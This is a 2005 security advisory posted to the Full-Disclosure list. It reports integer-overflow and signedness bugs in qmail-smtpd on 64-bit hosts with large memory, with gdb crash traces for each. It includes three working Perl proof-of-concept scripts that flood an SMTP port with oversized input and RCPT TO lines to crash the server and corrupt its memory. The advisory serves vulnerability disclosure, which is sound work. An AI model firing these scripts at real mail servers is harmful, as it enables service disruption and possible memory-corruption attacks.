Georgi Guninski security advisory #74, 2005 64 bit qmail fun Systems affected: qmail on 64 bit platforms with a lot of virtual memory ( ~ >8GB) Date: 6 May 2005 Legal Notice: This Advisory is Copyright (c) 2004 Georgi Guninski. You may not modify it and distribute it or distribute parts of it without the author's written permission - this especially applies to so called "vulnerabilities databases" and securityfocus, microsoft, cert and mitre. If you want to link to this content use the URL: http://www.guninski.com/where_do_you_want_billg_to_go_today_4.html Anything in this document may change without notice. Disclaimer: The information in this advisory is believed to be true though it may be false. The opinions expressed in this advisory and program are my own and not of any company. The usual standard disclaimer applies, especially the fact that Georgi Guninski is not liable for any damages caused by direct or indirect use of the information or functionality provided by this advisory or program. Georgi Guninski bears no responsibility for content or misuse of this advisory or program or any derivatives thereof. Description: there are several issues with qmail on 64 bit platforms - classical integer overflow, pointer with signed index and signedness problem (not counting the memory consumtion dos, which just helps). Details: note: - you need more than 4GB memory per process for this. - gdb line numbers may not match because of small changes in qmail src - tested on athlon64 8400+ with linux 1. integer overflow in stralloc_readyplus ./qmlong-pub.pl Program received signal SIGSEGV, Segmentation fault. 0x000000000040602a in byte_copy ( to=0x2ab165441000
, n=3791142275, from=0x2ab23ad04001 'v' ...) at byte_copy.c:9 9 if (!n) return; *to++ = *from++; --n; (gdb) info stack #0 0x000000000040602a in byte_copy ( to=0x2ab165441000
, n=3791142275, from=0x2ab23ad04001 'v' ...) at byte_copy.c:9 #1 0x00000000004054e3 in alloc_re (x=0x508ce0, m=4030573939, n=239428416) at alloc_re.c:13 #2 0x0000000000405133 in stralloc_readyplus (x=0x508ce0, n=4030573940) at stralloc_eady.c:6 #3 0x00000000004020d5 in commands (ss=0x508980, c=0x5089a0) at commands.c:20 #4 0x0000000000401e12 in main () at qmail-smtpd.c:419 (gdb) (gdb) x/i $rip 0x40602a : mov %dl,(%rax) (gdb) p/x $rax $1 = 0x2ab165441000 (gdb) 2. pointer + signed int in commands.c int i; ... i = str_chr(cmd.s,' '); ... cmd.s[i] = 0; ./qmlong-0-pub.pl Program received signal SIGSEGV, Segmentation fault. 0x00000000004021e2 in commands (ss=0x508980, c=0x5089a0) at commands.c:39 39 while (*arg == ' ') ++arg; (gdb) p/x arg $1 = 0x2aaee056d014 (gdb) p i $2 = -2048917500 (gdb) info stack #0 0x00000000004021e2 in commands (ss=0x508980, c=0x5089a0) at commands.c:39 #1 0x0000000000401e12 in main () at qmail-smtpd.c:419 (gdb) 3. sign problem in qmail_put/substdio_put ./qmrcptto-pub.pl Program received signal SIGSEGV, Segmentation fault. 0x000000000040604a in byte_copy (to=0x52c000
, n=2149893743, from=0x2aaf0b1bdb36 'v' ...) at byte_copy.c:10 10 if (!n) return; *to++ = *from++; --n; (gdb) info stack #0 0x000000000040604a in byte_copy ( to=0x52c000
, n=2149893743, from=0x2aaf0b1bdb36 'v' ...) at byte_copy.c:10 #1 0x0000000000405a72 in substdio_put (s=0x50a4b8, buf=0x2aaf0b19c010 "T", 'v' ..., len=-2144935532) at substdo.c:75 #2 0x0000000000403eda in qmail_put (qq=0x50a4a0, s=0x2aaf0b19c010 "T", 'v' ..., len=-2144935532) at qmail.c:55 #3 0x0000000000401cdd in smtp_data () at qmail-smtpd.c:386 #4 0x0000000000402297 in commands (ss=0x508980, c=0x5089a0) at commands.c:43 #5 0x0000000000401e12 in main () at qmail-smtpd.c:419 ------ qmlong-pub.pl #!/usr/bin/perl -w # written by georgi guninski. # copyright georgi guninski # cannot be used in vulnerability databases use IO::Socket; my $host=$ARGV[0] || "localhost"; my $port=$ARGV[1] || 25; my $sock=IO::Socket::INET->new(Proto => 'TCP',PeerAddr => $host, PeerPort=>$port) || die("socket"); my $payload="v" x (1024*1024); my $i=0; while(42) { print $sock $payload; $i++; print "${i}\n"; } ------ ------ qmlong-0-pub.pl #!/usr/bin/perl -w # written by georgi guninski. # copyright georgi guninski # cannot be used in vulnerability databases use IO::Socket; my $host=$ARGV[0] || "localhost"; my $port=$ARGV[1] || 25; my $sock=IO::Socket::INET->new(Proto => 'TCP',PeerAddr => $host, PeerPort=>$port) || die("socket"); my $payload="v" x (1024*1024); my $i=0; print $sock "HELO"; while(42) { print $sock $payload; $i++; print "${i}\n"; if ($i == 2142) {last;} } print $sock " \r\n"; while(<$sock>) {print $_;} ------ ----- qmrcptto-pub.pl #!/usr/bin/perl -w # written by georgi guninski. # copyright georgi guninski # cannot be used in vulnerability databases use IO::Socket; my $host=$ARGV[0] || "localhost"; my $port=$ARGV[1] || 25; my $sock=IO::Socket::INET->new(Proto => 'TCP',PeerAddr => $host, PeerPort=>$port) || die("socket"); my $payload="v" x (1024*1024); my $i=0; my $t; print $sock "HELO a\r\n"; print $sock "MAIL FROM: a\r\n"; my $leg = 842; $payload = "v" x $leg; $cou=0; my $vp= "v" x (1024*1024); my $wri = 0; while (42) { print $sock "RCPT TO: ${payload}\r\n"; $t=<$sock>; $cou++; $wri += ($leg + 1); if ($wri > 0x80000010) {last;} if ($cou % (1024) == 0) {print " .. " . $wri/(1024*1024) . "\n";} } print $sock "DATA\r\n"; print $sock "where do you want bill gates to go today?\r\n"; print $sock ".\r\n"; while(<$sock>) { print $_; } ----- -- where do you want bill gates to go today? ** everything below is junk _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/